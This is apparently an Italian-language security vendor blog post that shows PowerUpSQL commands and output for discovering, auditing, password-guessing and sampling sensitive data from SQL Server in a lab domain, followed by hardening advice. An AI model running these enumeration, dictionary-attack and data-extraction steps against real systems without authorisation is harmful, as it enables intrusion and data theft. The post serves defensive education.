Compromettere SQL Server con PowerUpSQL
Se stai cercando un kit di strumenti per gestire Microsoft SQL Server da cima a fondo, quello di cui hai bisogno è PowerUpSQL. Implementato in PowerShell e completo sotto ogni aspetto, PowerUpSQL dispone di strumenti per scoprire, compromettere e dominare praticamente qualsiasi sistema SQL. È l'intera catena di attacco in un unico strumento. Questo articolo descrive come eseguire i passaggi critici dell'attacco utilizzando PowerUpSQL.
Contenuti correlati selezionati:
Da notare che abbiamo avuto risultati molto vari con il sistema che stavamo utilizzando, una versione molto basilare di MS SQL 2012. Ci assicureremo di evidenziare dove i nostri risultati sono variati con e senza diritti di amministratore di sistema. Se hai bisogno di consigli su come ottenere diritti di amministratore a livello di sistema, consulta il nostro catalogo di techniques for attacking core AD infrastructure e i nostri post su AD service account attacks, attacks that exploit misconfigured permissions e la nostra series on Mimikatz attacks.
Scoperta
To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:
PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon : 1/9/2018 7:10 AM
Description :
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount : APP02$
DomainAccountCn : APP02
Service : MSSQLSvc
Spn : MSSQLSvc/APP02.sbcloudlab.com
LastLogon : 1/9/2018 7:10 AM
Descrizione:
Esiste anche Get-SQLInstanceLocal, che eseguirà lo stesso tipo di scoperta ma solo sull'istanza locale. La versione per il dominio è più rumorosa, ma se hai solo un punto da cui attaccare nella rete, farà ciò di cui hai bisogno. Se possiedi una parte molto più ampia della rete e vuoi emettere meno segnali, eseguire la versione locale su ogni sistema farà al caso tuo. In questo caso, siamo stati in grado di ottenere risultati simili quando eravamo un utente normale o un Domain Admin.
Selezione dell'obiettivo
Una volta che hai alcuni sistemi MS SQL che vuoi prendere di mira — o ne hai molti e stai cercando di capire quali sono i migliori obiettivi — potresti voler scoprire di più su ciascuno di essi. Get?SQLServerInfo ti fornirà un'istantanea di informazioni utili sul tuo potenziale obiettivo. Da notare che sembra necessario avere diritti di amministratore per ottenere buoni risultati.
PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName : APP02
Instance : APP02
DomainName : SBCLOUDLAB
ServiceProcessID : 4980
ServiceName : MSSQLSERVER
ServiceAccount : NT ServiceMSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion : 2012
SQLServerEdition : Standard Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsMachineType : ServerNT
OSVersionName : Windows Server 2012 R2 Standard
OsVersionNumber : 6.2
Currentlogin : SBCLOUDLABjonathan
IsSysadmin : Yes
ActiveSessions : 1
Questo esempio mette in evidenza una delle migliori funzionalità di PowerUpSQL: il supporto per il piping. Come puoi vedere, inviamo i risultati di Get-SQLInstanceLocal a Get-SQLServerInfo, così con un unico comando, possiamo ottenere risultati per tutte le istanze SQL sulla macchina. Più in generale, puoi utilizzare questa funzionalità per costruire facilmente script di cracking che eseguono operazioni complesse rapidamente.
Rilevamento di exploit e dati sensibili
Utilizzando ciò che apprendiamo da Get-SQLServerInfo, potremmo andare alle librerie standard di minacce e vulnerabilità e prendere qualcosa da usare per sfruttare questo sistema. Ma non c'è bisogno — PowerUpSQL ha un altro potente trucco nella manica. Il cmdlet Invoke-SQLAudit farà letteralmente tutto il lavoro di cracking per te. Controlla praticamente ogni modo standard di irrompere in un database, trovare informazioni sensibili ed esfiltrarle in una forma che puoi portare via.
Quando lo invochi, vedrai prima una cascata di risultati come questa:
PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>
Ma questo è solo l'inizio di Invoke-SQLAudit. Dopo aver eseguito tutti i controlli a livello di permessi, verifica una per una le vulnerabilità specifiche e note e riporta ciò che trova per ciascuna:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database master was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity : Low
IsVulnerable : Yes
IsExploitable : No
Exploited : No
ExploitCmd : There is not exploit available at this time.
Details : The database tempdb was found configured with ownership chaining enabled.
Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Leggere i risultati di questo cmdlet, indipendentemente da quanto vulnerabile possa essere stato il tuo obiettivo, è come una lezione magistrale sugli exploit di SQL Server. Inoltre, gli autori hanno lasciato il toolkit aperto per estensioni man mano che vengono scoperte nuove vulnerabilità ed exploit. Quindi dovremmo aspettarci di vedere questa lista crescere nel tempo.
E questo non è tutto. Una volta individuate le vulnerabilità, cerca di trovare dati che potresti voler rubare:
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName : APP02.sbcloudlab.com
Instance : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description : Columns were found in non default databases that may contain sensitive information.
Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity : Informational
IsVulnerable : Yes
IsExploitable : Yes
Exploited : Yes
ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details : Data sample from [REDACTED] : "[REDACTED]".
Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author : Scott Sutherland (@_nullbind), NetSPwe 2016
Questi risultati (leggermente modificati per motivi evidenti) erano solo due delle molte decine trovate nel nostro obiettivo. Gli autori stessi stanno usando il proprio prodotto mentre fanno ciò. Questi risultati sono stati trovati utilizzando il cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, come indicato nei risultati.
Escalation dei privilegi
Una delle delusioni quando si gioca con PowerUpSQL è stato che il potentissimo Invoke-SQLEscalatePriv non ha mai funzionato per noi. Abbiamo provato diversi utenti, host, tipi di esecuzione (locale e remota) e tipi di diritti, ma non è mai riuscito ad elevare l'utente. Il motivo sembra essere i valori predefiniti in MS SQL 2012 Enterprise Edition. Ecco cosa abbiamo visto quando eseguito come utente non amministratore:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)
PS C:PowerUpSQL-master>
Leggendo online, sembra che questo cmdlet funzioni per molti altri.
Altre Funzionalità
È facile immaginare l'utilizzo di questo strumento per avere un'idea di cosa colpire e poi concentrarsi. Costruiremmo uno script, sfruttando ampiamente il piping per trovare dove abbiamo i massimi diritti, e poi ci concentreremmo sui dati sensibili in ciascuna di quelle posizioni.
Siamo sempre concentrati sul concetto di esfiltrazione, ma forse il tuo obiettivo è il possesso del sistema? PowerUpSQL offre anche percorsi per questo, ma esamineremo come farlo nel prossimo post. Infatti, c'è così tanto in PowerUpSQL che potremmo continuare molto più a lungo. Tuttavia, gli autori hanno già fatto un ottimo lavoro nel coprire il loro strumento quindi ci fermeremo qui.
Difendersi da PowerUpSQL
Ora vediamo cosa puoi fare per difenderti da PowerUpSQL. La brutta notizia per il nostro divertimento era una buona notizia per i nostri dati: molte delle cose che sembravano richiedere diritti di amministratore in PowerUpSQL sono gestite dalla postura di sicurezza predefinita di SQL 2012 Enterprise Edition. Tuttavia, i diritti di amministratore sono così facili da violare nella maggior parte delle aziende oggigiorno che questo sembra un piccolo ostacolo al successo.
Tuttavia, ci sono alcuni passaggi comprovati che puoi seguire per aiutare a proteggere la tua organizzazione:
- Applica un modello di privilegio minimo per SQL Server. Gli amministratori locali e di dominio hanno davvero bisogno di essere anche amministratori del database SQL e sys admin? Sviluppa una politica scritta chiara che dettagli il perché e quando ciò è necessario. Mantenere queste funzioni amministrative distinte impedirà che un compromesso porti al compromesso dell'altro.
- Indaga l'impatto sulla sicurezza di qualsiasi modifica alle impostazioni del sistema SQL. I fornitori di applicazioni spesso richiedono modifiche alle impostazioni di sicurezza solo per risparmiare alcuni passaggi — e quei passaggi possono fare la differenza tra sicurezza e compromissione. Un modo per scoprirlo è eseguire un PowerUpSQL audit prima e dopo aver effettuato tali modifiche ai tuoi sistemi di test e confrontare i risultati.
- Assicurati che tutte le password e i dati sensibili siano mascherati, hashati o criptati. Se i malintenzionati sono alla ricerca di dati, questo è il miglior modo per impedire loro di ottenerli. I sistemi saranno sempre vulnerabili, ma una buona crittografia è un muro di mattoni per tutti tranne che per i nemici più sofisticati. Se quel tipo di avversario è alla ricerca dei tuoi dati, allora hai preoccupazioni di ordine superiore.
- Ove possibile, evitare configurazioni rischiose come il concatenamento della proprietà del database. Come per le modifiche alle impostazioni, funzionalità a livello di database come questa sono spesso utilizzate solo per risparmiare tempo agli sviluppatori. Assicurati che ci sia almeno una valutazione dei rischi quando si prendono in considerazione queste configurazioni. Spesso la parte più difficile è scoprire dove e quando queste conversazioni stanno avvenendo e influenzarle.
- Assicurati che i tuoi sistemi siano aggiornati seguendo una programmazione che li mantenga il più possibile aggiornati. Questo può essere il consiglio più scontato in materia di sicurezza, ma è vero. Molte delle vulnerabilità testate qui sarebbero state risolte con un adeguato aggiornamento. Gli aggiornamenti non risolvono tutti i problemi di sicurezza, ma evitano quel grande vuoto nello stomaco quando le cose vanno male e sai che potrebbe essere stato (o lo è stato sicuramente) a causa di una patch mancante.
Come Netwrix può aiutare
Le basi di dati spesso contengono informazioni altamente sensibili, il che le rende un obiettivo principale per gli attaccanti. Per una sicurezza robusta, gli amministratori di database necessitano di una visione completa della loro impronta SQL, sia nei datacenter locali che nel cloud. Netwrix StealthAUDIT rivela automaticamente dove esistono basi di dati SQL, chi ha accesso ad esse, come hanno ottenuto tale accesso, chi o cosa sta sfruttando i propri privilegi di accesso, dove risiedono le informazioni sensibili e come ogni database è stato configurato.
Condividi su
Visualizza attacchi informatici correlati
Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa
Modifica di AdminSDHolder – Come funziona e strategie di difesa
Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa
Attacco Hafnium - Come funziona e strategie di difesa
Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory
Attacco Pass the Hash
Comprendere gli attacchi Golden Ticket
Attacco agli Account di Servizio Gestiti di Gruppo
Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa
ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione
Attacco di estrazione password NTDS.dit
Attacco Kerberoasting – Come Funziona e Strategie di Difesa
Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa
Attacco di Password Spraying
Attacco di estrazione di password in chiaro
Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione
Attacchi ransomware di Active Directory
Sbloccare Active Directory con l'attacco Skeleton Key
Movimento laterale: cos'è, come funziona e prevenzioni
Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli
Attacco Silver Ticket
4 attacchi agli account di servizio e come proteggersi
Perché PowerShell è così popolare tra gli aggressori?
Come prevenire gli attacchi malware che impattano sulla tua azienda
Cos'è il Credential Stuffing?
Cosa sono gli attacchi di Mousejacking e come difendersi
Rubare credenziali con un Security Support Provider (SSP)
Bypassare MFA con l'attacco Pass-the-Cookie
Attacco Golden SAML